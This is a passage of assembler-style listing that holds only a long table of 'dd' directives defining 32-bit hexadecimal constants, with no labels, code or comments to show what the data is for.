		dd 122735C5h, 970C4960h, 2673A1AEh, 0AD38ECE9h,	0FECD1AF7h
		dd 0A739081Fh, 0C2685802h, 0F819DD51h, 0CC172EE1h, 5E6B1A42h
		dd 0F4C077FEh, 0AA5C648Fh, 4BCA0A11h, 18338813h, 0DFFD88DBh
		dd 842B5BE9h, 74B2FBBBh, 110B8B0h, 8302A50Eh, 0B035A3E8h
		dd 5047D93Bh, 19B0907Fh, 5A26570Eh, 24266851h, 78EA018Dh
		dd 69BAAC3Eh, 0C662F50Ch, 7E10DA77h, 4666B441h,	0DD0484B5h
		dd 8EED805Bh, 0B0EAA8EAh, 0B808E7C0h, 103BB29Fh, 7A34DA68h
		dd 0DDE2D433h, 0B003FEEBh, 0AA0850F2h, 9DBEBADAh, 55E9B57Ch
		dd 90C9F033h, 0ED498E27h, 7E1A3F74h, 0A286C3B5h, 0CEFDA55Eh
		dd 81E84CE1h, 5CD92F4h,	4131EB68h, 0EEB5E14h, 0AE124C5Bh
		dd 0E98478F3h, 0B971D0A7h, 3D091AC4h, 80D1F758h, 860E2D25h
		dd 0F131207Eh, 7679E948h, 18772E05h, 0CBA90908h, 0D029E985h
		dd 0B25DB445h, 0E228B103h, 0B0515358h, 0E0ACB3B7h, 205902CBh
		dd 0CAFE5BDAh, 0A007E37Dh, 76EAC0F4h, 0FBF20C07h, 72ECD730h
		dd 4DBA00FBh, 0B52E705Bh, 2F8EA482h, 564CFF46h,	3EE007DAh
		dd 0DEA43270h, 0D1CB56ACh, 0E10E2B04h, 0EFAD6B32h, 68B2BE93h
		dd 9C852E85h, 0D97C29A4h, 9DBFBC20h, 8C3902DCh,	0FA581E32h
		dd 2B5B68Ch, 3084B050h,	3650A7D5h, 232DFE2h, 5155595Ah
		dd 125E6A01h, 0B9F7FB4Ch, 0D1A12D7Bh, 0E2F99330h, 25BB7882h
		dd 44DDB212h, 973FEE27h, 0B5F4764Ch, 6765365Eh,	0C248F2BEh
		dd 0DC179768h, 607F609Ah, 507E316Dh, 0D910AB12h, 0C9251001h
		dd 607C9655h, 60D0413h,	1137F296h, 0CF8F3500h, 25E97D75h
		dd 416DB614h, 334F1E68h, 974827h, 7CB532E6h, 45F95BFh
		dd 91E956CBh, 0EC74BABDh, 0EF5BFEEDh, 0F75BBC2Ah, 0C0BD93CCh
		dd 0D08B5F9Ah, 58439B77h, 2520B71Fh, 3042B803h,	0C848349Ch
		dd 7F703CE2h, 49890074h, 9352433h, 5F3B3A2Fh, 6A1FF02Dh
		dd 0D7D5E915h, 696882C7h, 6722F502h, 86F2FEFAh,	80ECB500h
		dd 535012F5h, 3AEB7288h, 0E6A75BDCh, 1E60B69Ah,	0F595849Fh
		dd 7FC3C16h, 0B905CDBAh, 79D66857h, 54E512BFh, 0CD202835h
		dd 4045582Fh, 4CF21AFDh, 0EF070D4Bh, 698DE95Dh,	0D0553029h
		dd 752E09D9h, 58CB03DEh, 1FE7F198h, 0B2F0AB5Bh,	4BC7072Dh
		dd 890153ECh, 4081D88h,	9447CEE9h, 0C2C982A1h, 60B59944h
		dd 2A74096h, 0D3015D64h, 0B04B85E9h, 7C1CE2F0h,	426F0D0Ch
		dd 78D72C4Ah, 0C4064A8Fh, 0C00BE280h, 7594FF5h,	58550116h
		dd 0CD6FBF5Dh, 7BE34110h, 58AE04BDh, 0B8BA413h,	7957C139h
		dd 0E8E0054Eh, 0CAF951ACh, 9D5AC3Ah, 55CA6F8Bh,	70D677F0h
		dd 0E98752A7h, 0EFC52C28h, 93753E0Fh, 0F6016629h, 5400216h
		dd 997AA86Fh, 7B2F7DE1h, 0D1024DC9h, 98F6C303h,	3D1A5D36h
		dd 0F218EDD1h, 2C683C50h, 403D32B7h, 4C04FD6Ah,	9D204E50h
		dd 0B9595800h, 4C1B5543h, 9278BD31h, 4EB3445Fh,	78BA5202h
		dd 774B4Fh, 0BF172B61h,	8BF79D40h, 0B567C67Bh, 3407504Bh
		dd 420A66A3h, 5EE929ACh, 88950780h, 0F658E0C6h,	0B43E50D6h
		dd 0A5C48703h, 6ABEE628h, 0C74F2AF3h, 0C3E516EBh, 0E78E37D1h
		dd 30F40104h, 820B1714h, 0F744030Ch, 831E4411h,	140C4008h
		dd 9F089087h, 0D65704E0h, 35C5355Ah, 0A4A4080Eh, 0A5FB5622h
		dd 0C06E88D5h, 0C3511DDFh, 0E2D07CB2h, 44B569D9h, 4958EE42h
		dd 1642D68h, 0CA291E76h, 6F192268h, 5DB5CC5Ah, 7ED1A60h
		dd 0A409ABB0h, 0DFFE2824h, 0C5F4921Ch, 0EC2592BEh, 0A23425D6h
		dd 1CDEEFDFh, 0DD22D2E9h, 2BB2EA2h, 0FEF74FC9h,	0EB75117Fh
		dd 0C41031E8h, 0FA515C46h, 0EA4FA7A3h, 4C0CFF58h, 4E79972Ah
		dd 46EF870Fh, 5A1403EEh, 57E3D221h, 0A2FCE47Dh,	715E557Eh
		dd 0C229FC2Dh, 0F77A4EE9h, 0ED017F96h, 134722D9h, 1646E5D8h
		dd 1363A21h, 0E23B4D8h,	52B304Bh, 99F96BBDh, 29DD6E1Ch
		dd 0C76AC571h, 28CEC02Ah, 6D4A7E0Bh, 9307D7C5h,	425B8449h
		dd 0A35C4133h, 6F985CEEh, 5D30CC25h, 68C30281h,	0F5D15981h
		dd 9650D82Fh, 32797AB5h, 68C58881h, 8E63107Eh, 51EE1F7Ah
		dd 0BF49350h, 8375E7D8h, 0F25258A7h, 0C2A7DDCAh, 0BF29AC3h
		dd 9CDEEA74h, 0C8717D52h, 0BDBF5770h, 0F027D7F4h, 8ED9611h
		dd 503C161Ah, 4F1287A9h, 52EA2666h, 7F0FB32h, 0A20B171Eh
		dd 8863454Bh, 8B50E832h, 3817359h, 72F1E9C8h, 5F4A227Eh
		dd 59A192D8h, 0FD2F3805h, 0BB07A040h, 2E9B1A48h, 0DC250008h
		dd 0E8FF2580h, 0EECD2138h, 41BB5BF8h, 927747F9h, 59CAF412h
		dd 0C199AEB7h, 46840D27h, 3055BB20h, 0C7188AFAh, 482D6B93h
		dd 46087563h, 15A0E08h,	78E53EAh, 6C4016F4h, 8164130h
		dd 6023E57Ah, 0B538A8F3h, 0D33EC176h, 804CD67Ch, 5D45140Ch
		dd 0D0DF012Fh, 0C68083Ah, 67E90414h, 94F999h, 0CF301EF1h
		dd 5F885059h, 0D36681FCh, 2D7039F6h, 8F0F5DC6h,	3A636F86h
		dd 2712BA7Fh, 5BD3F5Eh,	2BABA04Bh, 4D554F12h, 0AB3FC8BDh
		dd 29802DF5h, 0DF279FD3h, 0D80F0522h, 195064CAh, 505C5E58h
		dd 0E132E90h, 90874FB7h, 0FCFA609Eh, 1351017Fh,	0E72AA7E9h
		dd 114F7B23h, 27B1C980h, 0AAC93980h, 203FC18Dh,	7C7528E2h
		dd 6837EF09h, 0E0987F47h, 31FBE6B1h, 69BC7A6h, 6663831h
		dd 3EB008A4h, 0FE887338h
		dd 7CA95B4Eh, 4E9C3F16h, 0EC561965h, 245BA647h,	94388DDh
		dd 0E832F6C2h, 0DD22937Fh, 81CA35FFh, 80C9AE33h, 0E6F6B92Ah
		dd 5831CA56h, 0E55CE8CBh, 7A74C94Fh, 0ED8400E6h, 0F0280B0Dh
		dd 0AE117C87h, 0B0559F40h, 9F08F91Eh, 44F2D149h, 72A8AADBh
		dd 60FA3AB9h, 644C8185h, 0E8E5324Eh, 0D8EEE27Ah, 4E39687Fh
		dd 62CA310Bh, 0DE01014Ah, 95B92C3Ah, 6DDD444Ah,	18D81B38h
		dd 0F6090B8Fh, 8FB0151h, 0E90408D4h, 33D0F03Dh,	2550EF2Dh
		dd 2ADC3BF8h, 0D71DE789h, 0DF17E1Eh, 506A2C97h,	147187AFh
		dd 0DF5CAC57h, 90316F17h, 0F362E62Bh, 0E4B1085Ah, 3460AD31h
		dd 60919F8Eh, 2B96F981h, 0E228C8B1h, 8938AB4Fh,	4C013B66h
		dd 187F02A5h, 0BF1DE9E8h, 0D520E47Ch, 0DF95FD9Dh, 0DEA0AE0Bh
		dd 53C0820Ch, 1D434FD1h, 6619130Bh, 71A7027Fh, 0BEC85942h
		dd 0A980E2A0h, 703D0B72h, 0F81E9230h, 18201388h, 0E586066h
		dd 22097A05h, 88F72936h, 1C300844h, 972A5A8Fh, 0C36018D9h
		dd 0A2F34DE9h, 0B64B82AFh, 4518FF51h, 0F8B172F0h, 3FB4BC12h
		dd 1F400BBEh, 0E4568054h, 8FB00916h, 7059E0h, 4E6C10Bh
		dd 13EE44FDh, 0EC743868h, 1F5CC06Fh, 8029732Bh,	3CD41768h
		dd 0AEDE579h, 749A6D2h,	337644EEh, 0D9C2EAE5h, 41DE4AF8h
		dd 0E46A134Dh, 290EC188h, 7659C828h, 0F3B405EEh, 5344EA6Eh
		dd 87072BA1h, 0E0F72BDAh, 0B0F0E731h, 981E4AECh, 859D4954h
		dd 6FC75D23h, 0B907D4D4h, 27582BAh, 191A57DEh, 35368A55h
		dd 965C5A25h, 0A53F971Ch, 0ADB96B3Ch, 7208B23Fh, 25024A48h
		dd 587A7927h, 0F1C25A73h, 47642B66h, 15D690ABh,	391EC366h
		dd 3D2E95Bh, 0E457A4h, 0C16A2D0Bh, 0D0F707E0h, 424804CFh
		dd 436F90BAh, 57731Dh, 6D761935h, 718F0D68h, 0C828EB32h
		dd 0EED65278h, 0EFC7613Eh, 7BA0A2FDh, 5460A1A1h, 0DEE388E5h
		dd 6C887012h, 0FD307427h, 1211DC02h, 0FC695568h, 5007C467h
		dd 6E419FE2h, 559C822Fh, 0B312360h, 49CF7197h, 0BE414885h
		dd 8BEFB525h, 88BF4EA2h, 0F148DA92h, 0D5607573h, 897B30Bh
		dd 356658D9h, 8899C11Fh, 399FC5BDh, 5597F420h, 0BD6A5189h
		dd 6DF31913h, 0C06E4018h, 3754945h, 0DE89782Eh,	0EB36BD07h
		dd 0D0AB2254h, 4461F55Fh, 0EC87F04Bh, 7533241h,	93F82Fh
		dd 0F82984EDh, 4BA9E94Eh, 0DCF491BEh, 0ACBF0417h, 1EC4E82h
		dd 0FB9DE216h, 552C08CBh, 1FD8020Ah, 11E84378h,	1E1766EAh
		dd 9801305Dh, 7BAA4454h, 0C5D1188Eh, 0D57403D6h, 888D76E9h
		dd 1BB75B07h, 68F7094Bh, 45F937E4h, 3C31CD88h, 0AA54EE2Dh
		dd 5B4C158h, 0E96D9367h, 3A54A18Ch, 4E5C539Ch, 9E20AE77h
		dd 95402F1h, 33AC680Fh,	0E4501619h, 7E4C0815h, 2F3C1385h
		dd 20D8CDBBh, 500B94Ch,	0E6817E90h, 143530ABh, 0ABD6F76Bh
		dd 3347791Bh, 4B7868F0h, 778E999Fh, 9028EED0h, 73F1BD5Ah
		dd 0F720299Ah, 0D16E22A0h, 2E27E970h, 51D0998Fh, 36E1E12Eh
		dd 59E98309h, 0FD0A5E2Ch, 5DE79EC6h, 0E91E14E5h, 898ED6E5h
		dd 4074FD7h, 1A754B67h,	2F697FBDh, 0C17EDE9Fh, 2AF2296Fh
		dd 6616560Eh, 0C7B426F9h, 0FB369569h, 7F4BC937h, 0F0406DE8h
		dd 0BD4F0DB2h, 0EA26EEB2h, 7268067Ch, 0F825DD56h, 952944Ch
		dd 501DBF2h, 23C29F80h,	7F27FD85h, 0E9BC0109h, 37805D17h
		dd 144A9DEAh, 0D49D2933h, 91F8CBE4h, 644E8800h,	19102D7Eh
		dd 134351CEh, 0F9BF0460h, 5EB385C3h, 0AD68AF2Fh, 551744F7h
		dd 13E01080h, 0DEDE9757h, 6B495ECFh, 88257170h,	0BF1DBB81h
		dd 0F9D62DF7h, 13E3F23Eh, 0FA717679h, 128BF705h, 65BBDF65h
		dd 0F430EA1Bh, 10D6793h, 0B7E9814Ch, 0D4F66A44h, 9FA565FDh
		dd 0C8C65817h, 3B51BDA1h, 0FBB07FC9h, 0AFF532FFh, 568A7F28h
		dd 5B12190Eh, 411062EBh, 0B814FC26h, 0F680EEB2h, 2981EF4Ah
		dd 0AFE545D2h, 0E970D356h, 0BEFDD472h, 0C91DAB04h, 0F912EE6Eh
		dd 3DA39104h, 93AAB3EFh, 0BA4B28F8h, 0B0522DDCh, 396D0B5Bh
		dd 44016F0Ch, 60361E6Eh, 6C30260h, 0B14B2503h, 64600516h
		dd 0DFF41686h, 6510BADAh, 5B012AD0h, 5BC35F50h,	6B34691Eh
		dd 8EEEEA53h, 4F680C07h, 0C07B9D1Bh, 5A03BA0Bh,	6AF48FD4h
		dd 29ABC84Bh, 376434B4h, 51815740h, 0EEC4001h, 0B83AE139h
		dd 4B1DC40Ch, 0D93A31h,	0B05EF009h, 0FFFBECEh, 46E55A39h
		dd 9348917Eh, 0FCF71079h, 0B864BFFEh, 0F92D5A7Fh, 6A1D715Eh
		dd 357CAFD7h, 0E91F93C8h, 0B5A6FB6Eh, 0CD63E925h, 4C65DFCEh
		dd 0F4E397BEh, 417800E4h, 45CE3041h, 430C2E67h,	0FAEC6BC5h
		dd 0F22DAD5Ah, 8CEB7F2Dh, 70710BECh, 14C5BFD7h,	169A2188h
		dd 0F6E42120h, 51F113EDh, 886F6F0Bh, 0CB41876Ch, 1CEDF06Fh
		dd 5C315C40h, 2622D6D8h, 0E8E27BFFh, 28685C07h,	47790B2Dh
		dd 350B51A4h, 7B167507h, 0B14F0B0Bh, 24FF7EFCh,	1D37034Ah
		dd 3AD2E961h, 9B02BDE4h, 295B6259h, 5673D5C5h, 598C022Eh
		dd 0CEE8919Ch, 90A0F75Ah, 34CD810Dh, 20806516h,	0B260371Dh
		dd 7E16B02Dh, 12A23077h, 5C0E1E0Ch, 0DD7E3B90h,	0A008C551h
		dd 0E92F140Ch, 77A1E256h, 0D96B47DBh, 8AE98B4Bh, 0FE2D2770h
		dd 0DDB982CFh, 0CAC4D52Eh, 0D0ABD3F0h, 0C7902AEAh, 1B13D7C2h
		dd 0B01591Ch, 5A475091h, 1578DE8Dh, 20E96FC2h, 22757F06h
		dd 9105C81Ah, 9997973h,	0E8CCDEA1h, 4710326Dh, 0A4660196h
		dd 0A5177B0Ch, 1726180Ch, 94189F6Eh, 590800BDh,	0C031F92Dh
		dd 34F84D4Ah, 0B16E0741h, 268BFCA1h, 0F5A87C5Fh, 616B2C2Eh
		dd 2667B068h, 532201A7h, 0F0E923FFh, 2D009838h,	487D189Bh
		dd 30014235h, 0EE055090h, 0E9E0AA0Eh, 0EEC85F04h, 0A118CC76h
		dd 166EC79Bh, 323DBE98h, 511CB27Bh, 139767C4h, 74AD0EBFh
		dd 0F4CE6D4h, 47D2C302h, 4ADF4C0Ch, 0E9080187h,	0D044F59Bh
		dd 0A5CAD9EEh, 4160FF41h, 0B02F50AFh, 4DEDE0Fh,	0D78D61E9h
		dd 0F32E843Fh, 500605E3h, 0D0BFD8B4h, 0E108C1B3h, 54FA7392h
		dd 64B2739Fh, 8826805Ch, 0D674F6CEh, 25E9F13Ah,	573BEAEFh
		dd 0A89064Ah, 0F5CAE255h, 196EC9Eh, 0C1B95C3Eh,	696F6A3Fh
		dd 16478A61h, 273B4091h, 0EA98BA60h, 44E4A02Dh,	0E8BA9DE1h
		dd 0D0CEDA87h, 700D6DBEh, 6E9C1803h, 0D25CFA35h, 580BFD6Fh
		dd 0B904A2F3h, 0B881622Fh, 49DEE6E9h, 0F86BFAE6h, 314E0922h
		dd 91A3545Fh, 0FF5D2F52h, 40B02427h, 0F2010CB1h, 73A66816h
		dd 40DE22FCh, 2CF45DA0h, 9650D4E9h, 6426755Ah, 48096932h
		dd 0BAC14B84h, 246976E0h, 1C55AF30h, 0FE6812EEh, 0EE48C63h
		dd 3A8AC297h, 89F1D7B0h, 0D180AC42h, 945B926Fh,	64FC121Ch
		dd 0CBDEFF74h, 85BB5300h, 0E9166321h, 54833630h, 3F18CEBEh
		dd 0D1BD260Dh, 311F8989h, 0A9F76F09h, 726577B0h, 719EED40h
		dd 88DE9F22h, 5B4F08A0h, 0ECFAF434h, 0EACC1211h, 28AF8E16h
		dd 0BE2D68B9h, 70BC643h, 7917C2BAh, 773E038h, 595B253Dh
		dd 0C8411EA8h, 5E701B2Ch, 3F75BA58h, 995B593h, 64BD686Fh
		dd 0F66710F6h, 0E45D7489h, 4104AF5Ch, 92F87D10h, 0FB326885h
		dd 0C984E767h, 3D424E1Fh, 34FD2F1Ch, 5E48B0B4h,	4B4188AFh
		dd 0D20094D5h, 4A14EA0Ch, 212B0FBFh, 0B4495BE0h, 40798D8h
		dd 78B551D0h, 40AFB8A4h, 3348C7F5h, 5B126670h, 35005250h
		dd 0E928BE20h, 26A46505h, 0EB639021h, 723F35E5h, 800A2718h
		dd 59BC05A9h, 27C0BF38h, 140F3CC3h, 93F8E963h, 4A12E5E3h
		dd 0D0F2AC64h, 0EFA100Ch
		dd 7E3AB800h, 5486209h,	24A1D44Ch, 0E2A0E1E6h, 2C4DD49Dh
		dd 0CD2F127Ah, 0F17E651Eh, 49006E47h, 0B5CA8142h, 708B3E37h
		dd 0ACB0A316h, 153DC584h, 0C45012CAh, 71189FFAh, 61B91958h
		dd 93A0951Ch, 30DFADFFh, 5D8CE995h, 5D8694B0h, 7F9538ECh
		dd 0DA07C58Fh, 13A4FFDCh, 0BF24FBEBh, 2EA6F1EEh, 6C3A39FAh
		dd 0EAE90C20h, 12E5BB10h, 0A0987416h, 37025FB6h, 0C6E9274Ah
		dd 0EF7C5F2Ah, 7AE4ABCh, 0F411312Fh, 0BE1AD48Eh, 454AAACAh
		dd 0AA5B54C3h, 699274C0h, 0EF1A4B0Eh, 72C50F00h, 0B8E5F196h
		dd 0ACF697A2h, 5010DFA5h, 30AC71D8h, 56F0299Dh,	0EF7413FCh
		dd 0AE49C981h, 16164A29h, 68AF28F4h, 0F96D4027h, 42DC6DEEh
		dd 5E537F40h, 5B3A5BDh,	28EB5826h, 909053F0h, 0BB5B009Dh
		dd 4F5435C9h, 5A00FE19h, 3B71B9E3h, 654B483Eh, 0D929320Eh
		dd 6B02ABB3h, 0E065D40Ch, 1892F76Ch, 1A21CF78h,	5B0F1053h
		dd 0D7B2E9D2h, 0EA60DCEDh, 0D73FC9C0h, 12C159B7h, 5FE1BE58h
		dd 0D5F3C06Ah, 2A4F2268h, 32AE35D0h, 0E92F1665h, 0EE54840Dh
		dd 0EB51D681h, 3B37CD7Fh, 0FF85B6B3h, 0E88CC130h, 82F93FFEh
		dd 0BFA79312h, 983AF699h, 194E0C1Fh, 0F3F72CB8h, 0B9D7974Eh
		dd 693C7977h, 974CD175h, 0D829FBCAh, 90031E6Fh,	7E535966h
		dd 3B70F17Dh, 833FC259h, 8FC0EA80h, 6BC20835h, 8B1BF13Fh
		dd 3F812FB6h, 891DC680h, 0A121680Ah, 49A9E99Ch,	0DA133736h
		dd 7809B216h, 4C46352Dh, 10581160h, 0B9141304h,	267389ABh
		dd 534D7FC3h, 603348A0h, 2F2E7BF2h, 92559506h, 1D0A7D3Eh
		dd 466C1FB9h, 20411F61h, 0E7928F09h, 36CC5FEDh,	7A1D6990h
		dd 0C1858126h, 0CDEA05EAh, 312825Bh, 25615E9h, 7C614959h
		dd 0B20E9338h, 3C5E8304h, 0F2C2C093h, 1EC6F23Fh, 1E6ADCF3h
		dd 0D6CBDDD3h, 0DCC8FEFEh, 0DDE8BF16h, 94B7C301h, 1931BFEFh
		dd 60B621E4h, 0A3414E65h, 0AC6AD9F5h, 9D4B9F5Bh, 0EEE7DFAFh
		dd 33924BA6h, 0CEB3AE80h, 0C7EB7680h, 2B20DC06h, 42095103h
		dd 0C1C7BF02h, 55C893B2h, 1465E13Ch, 364FB9DBh,	0F3208FCDh
		dd 31D631BFh, 0FCF888D5h, 1368096Fh, 3027E2FAh,	0AD60F911h
		dd 1FF73177h, 6EF6DBA5h, 397CF95Bh, 0F9EBFCFFh,	0FFE9A0F7h
		dd 845CBF92h, 0A178644Eh, 48FE2B93h, 9F0536C2h,	1AA93Bh
		dd 0A8F0E880h, 0DC973156h, 0EF77A56Ah, 68558084h, 7FAD08E5h
		dd 16165D48h, 35BAFEF4h, 9DE1EAE6h, 20ABE415h, 6785D538h
		dd 6AC4325Ah, 46E4DC2h,	0E2D2FA5Eh, 0C4B65E1Eh,	6E67F1CAh
		dd 60D23BE9h, 0CAE1E90Eh, 7F3F9297h, 0C2B1DB88h, 0A3C0D6F7h
		dd 50075501h, 0CC51C0B8h, 7841E972h, 0C2210B02h, 19614A58h
		dd 0D9D7B8Fh, 49DEB5EDh, 34DCF283h, 2CB88B4Ch, 78FFB691h
		dd 96EF42C2h, 0C6179DF6h, 8CDCEF4Ah, 0BAAF4B7Ch, 4154BDD8h
		dd 0BEE06B57h, 40064513h, 0FE37B337h, 7CC0CB3Fh, 34BA62FEh
		dd 0ADCE203Bh, 0C4E3620Bh, 9A59557Dh, 8B7CE72Ah, 0AF6A63CEh
		dd 0BB17E5E5h, 0ED3190FAh, 9327C979h, 0E96B87DCh, 0D5C7A949h
		dd 56B9F780h, 789D1A8Ch, 57D1587Ah, 0F276658h, 886F7C7Ch
		dd 40BE023Fh, 0C88939C5h, 0F9B5ABF8h, 6EB86017h, 31F65D3Eh
		dd 58CBC660h, 0B50FD168h, 48943DB4h, 5C2428C2h,	6077824Bh
		dd 707D06ECh, 0FBC935AFh, 5E01ABE6h, 0CB8D5605h, 2FF3DAAFh
		dd 2BBCE12Fh, 0CBBDA6h,	715D3D1Bh, 525EFC1h, 58205A47h
		dd 0FD28C961h, 0E1A22631h, 25DFA5AAh, 0A50AC1C8h, 518957Ah
		dd 3138244Eh, 0E936592Fh, 30007B9Bh, 0C23BEAD1h, 0D6843B0Fh
		dd 7EE8395Fh, 5DCB22E8h, 7E5A4C62h, 0E5AA87F2h,	39FB0277h
		dd 0B7A6C42Ah, 0BD0932D1h, 5B677F95h, 4F645696h, 0B85DFA4Ch
		dd 0AC321D58h, 8BCF8E1Eh, 0FA3CFEE4h, 123A44A4h, 0FF677453h
		dd 17E8AF6h, 720E11EAh,	2FC2294Fh, 3AA25AF8h, 0D9C017D0h
		dd 1C786856h, 5E6A1DEEh, 0F871D81h, 0E9A211F1h,	54F121C8h
		dd 13E3F608h, 0D6651F54h, 7EA8E167h, 0E6DF1BB2h, 0EF7FA7D4h
		dd 0DE7E2FE8h, 6B61C666h, 1CDF5468h, 6E91795h, 0A42DE84Ah
		dd 0E91781CBh, 3D58AA1Dh, 9D2C8160h, 74278CF1h,	2B755A7Bh
		dd 0C966DE86h, 2B3E4768h, 0DA6353BEh, 0F35F2812h, 5DE55D87h
		dd 5F27A940h, 0C227B307h, 6CF5015Dh, 0E9550862h, 26281627h
		dd 54E4B65h, 1D9420F4h,	81353B66h, 220D8DCBh, 9F107050h
		dd 2B302618h, 2E490E24h, 102876CFh, 0F313AD0h, 4492D2F7h
		dd 9BB92588h, 0B044BF25h, 2187D724h, 955FC652h,	135B1CF5h
		dd 0ABD21759h, 654858B7h, 79216B06h, 38170C6Fh,	800E8676h
		dd 8BBF72E6h, 0B7F95A46h, 80E2C584h, 6359BE01h,	816CB425h
		dd 7DC60661h, 0DCABE880h, 0DE214D3Ah, 6AFE924h,	3BA8B5BAh
		dd 9B674381h, 0D3DE2228h, 9BC2A91Ch, 0BDAF319h,	5AF03026h
		dd 6106586h, 0C328C902h, 0F537B7E9h, 0C208F14h,	22AD48AFh
		dd 27B0AEE4h, 0F093168h, 2523BD33h, 8405D8EDh, 0D849CCBEh
		dd 0FC587C09h, 0C598956Eh, 7A7D5F42h, 41088E9Fh, 29B2274h
		dd 2650807Eh, 0E9172FDCh, 6DFBE048h, 0C6C13A99h, 50EF8h
		dd 0B11AC193h, 1254970h, 9651ACEh, 0AB53DF8Fh, 26534E2Fh
		dd 9D093CE9h, 80B98C5Eh, 5A0BF57Fh, 0A9171840h,	54ECF73Fh
		dd 0E084665Ah, 6CC339ABh, 4032A689h, 68145B54h,	0D4B25957h
		dd 0A90E10B6h, 2CD6F613h, 0E72EB572h, 0FE0CA3C0h, 0F57A30C5h
		dd 265FA32Fh, 8047351Ch, 94AC1DEAh, 3EF06A08h, 0F6ECCA8Bh
		dd 8F2DDF06h, 13226812h, 5F228BABh, 0B934E9A5h,	0E11E7068h
		dd 0E0FAFD3Fh, 9E48E2E9h, 56EA8077h, 89176E7Eh,	549DAF90h
		dd 7CA008A4h, 9521FE12h, 9389D12Eh, 0D6F67962h,	7102CACAh
		dd 0F6611C50h, 0E1AC1736h, 0C4BE2DECh, 0E116A41Ah, 61C7CD0Ah
		dd 3C4128EBh, 0F825F066h, 27E5C2Ch, 0A4EA8077h,	2F18E05Dh
		dd 2D26C07Ah, 19F10AA6h, 5B12DFEAh, 20A7CDEh, 0D13A0705h
		dd 43CA8B11h, 4F841F8h,	568E2C2Eh, 44B8501Ch, 0BE3B1EC1h
		dd 0E8FD2420h, 1FCDB93Fh, 0DC928BA0h, 16138B01h, 0E56B3A2Fh
		dd 0E9080183h, 7DD93CB3h, 72B6CA5Ah, 2AB6BE05h,	0C202808Ah
		dd 0AA3A5029h, 0C0F22877h, 21530882h, 4EE0790Ch, 0F4809555h
		dd 4954227Fh, 0CB9C29Fh, 0AA10E007h, 0E6D355CCh, 2A685360h
		dd 0AE2AE173h, 4EE96728h, 0EBB413A1h, 437E2329h, 7397EA11h
		dd 0CAD760DAh, 1C080C6Fh, 0DD06133Bh, 0BA9F1325h, 5040B222h
		dd 0FED19F64h, 0D5FAD749h, 28AB6824h, 161C774Bh, 0EE8C585Eh
		dd 20CA3268h, 81EA0BB7h, 0C4CBCE7Fh, 0B08DE9E1h, 0BB7C0D95h
		dd 2D78623Dh, 0D4B50B8Fh, 0AFE48968h, 0F4258BFBh, 9A975C75h
		dd 61687499h, 7E6EEAE9h, 0AB580AA7h, 0FC58A709h, 3B40E1C0h
		dd 0E97FD80Bh, 5FEAA4EEh, 7462B0BAh, 5313211Fh,	1CE4F48Ch
		dd 60DE955Dh, 226CED58h, 0E9166777h, 75EE7363h,	79ECB9FAh
		dd 49FA2F17h, 203D9AEh,	71575F0Ch, 0ACA1E49Fh, 2A5C7C0Eh
		dd 0B59D2E44h, 414F7ACCh, 6E7A6441h, 37490F1Fh,	4B060554h
		dd 5EA492BAh, 0CF355E55h, 3FA03BCAh, 12122CACh,	48EAE14h
		dd 493BA47Bh, 0FC5EEED5h, 4885107Dh, 0D774C9DFh, 0A2EAEFDFh
		dd 68E7B1E1h, 0AE14AFE7h, 0E99F07D8h, 880E4054h, 976EEA59h
		dd 0B1C116EBh, 0B4A43FF0h, 3F5380D1h, 0B05F197h, 2F49A7C7h
		dd 362C2F38h, 436D4090h, 6E3C117h, 89ACA01h, 5001812h
		dd 5A906D68h, 0D72D11B4h, 33E90401h, 0EF8C6B99h, 7BF06B50h
		dd 7425D974h, 0FEE5B583h
		dd 59A5A504h, 0F2CF30AEh, 135C410Ah, 0A7A47595h, 0D0A4C902h
		dd 0E35D5230h, 6A82F9C9h, 0F37AE235h, 89DE2600h, 1668FAB0h
		dd 0E86FE170h, 0F6BBA598h, 48BE4898h, 93C33C50h, 0AA7B4Eh
		dd 796850D5h, 636BC73Bh, 0E60F06B5h, 0DEEF9D64h, 0D512C0B4h
		dd 2D4CAFAh, 0D222FE05h, 3B9C4116h, 742040C1h, 5DEE6ACDh
		dd 92688E48h, 584D4F62h, 4B4782DDh, 53FFD604h, 541203E1h
		dd 95F2A887h, 0EDD11246h, 255CAE0Fh, 44FF70A8h,	0FC1FCC04h
		dd 50EAA07Ch, 72B0C15h,	0E9BBD601h, 46695A27h, 0C07497A6h
		dd 6AAE60Ch, 0C6FE3CDBh, 287E0472h, 0BC1DE9F4h,	74582F85h
		dd 7414C9DDh, 5C70D6B7h, 84C93294h, 0B12DDEBh, 0DDF962h
		dd 0A04D2F92h, 0B4BF040Ch, 0FE64D62Ch, 7255A3E2h, 8A72A22Ah
		dd 822FCCAh, 49E9D117h,	0FA5B87A8h, 8B663D3Dh, 735AD714h
		dd 8A42E90Bh, 1696D066h, 25A63008h, 98ECCCD5h, 1DCCB40Fh
		dd 8115895Eh, 4880B156h, 87339052h, 8D682DF5h, 0DE7546C2h
		dd 7E9E1EDh, 0B1B36E54h, 8EA7AF93h, 5555312h, 0C2703C2Ch
		dd 414B5883h, 0DC050F00h, 2D5DD436h, 4A55391Bh,	21F8291Fh
		dd 5F11503Eh, 0C425E9FCh, 982346F5h, 458394FBh,	0D2B2FA57h
		dd 54EE13D6h, 0C48E1C34h, 0AE63CE64h, 0B83259BDh, 0ABC0B118h
		dd 519F2DBDh, 0ADEE005Bh, 5669F388h, 5842585Fh,	0DC2361E9h
		dd 333D8121h, 0DF52FE16h, 0C1BE104Ah, 6C2AE9C5h, 55511637h
		dd 986010AFh, 49825DC9h, 467566CFh, 5826F239h, 258173C2h
		dd 2B7CF537h, 0F97EE4A1h, 0A4DE05E8h, 0A0FAC8A1h, 0EA755BE3h
		dd 806F397h, 0BF01F246h, 35285562h, 80256520h, 50483E2Dh
		dd 0D001342Eh, 0BE0764AAh, 0A48996F8h, 0EBFFB804h, 95B31EFCh
		dd 38BE1F4Ah, 0D1276868h, 9E22981Ch, 6773B726h,	712CFB38h
		dd 5D69B093h, 5023C4E9h, 0BD4435C6h, 7C9D3B79h,	0B3685A76h
		dd 0BE802B54h, 0FB0700F3h, 2FCE815Ah, 495E2333h, 29FACC44h
		dd 4316802h, 43623C5Ch,	0E813D595h, 0F0E872C2h,	5559F280h
		dd 0CB281971h, 458E51B0h, 0FB166683h, 0C82CD1CAh, 0ACAD0953h
		dd 0CDCA09F1h, 3312A403h, 0C7EA494Ch, 7B0BBD3Ch, 68D7491Bh
		dd 0FE7A8FD9h, 5FDDF26Dh, 5BDC8E8Bh, 0BE4F00CFh, 514DE341h
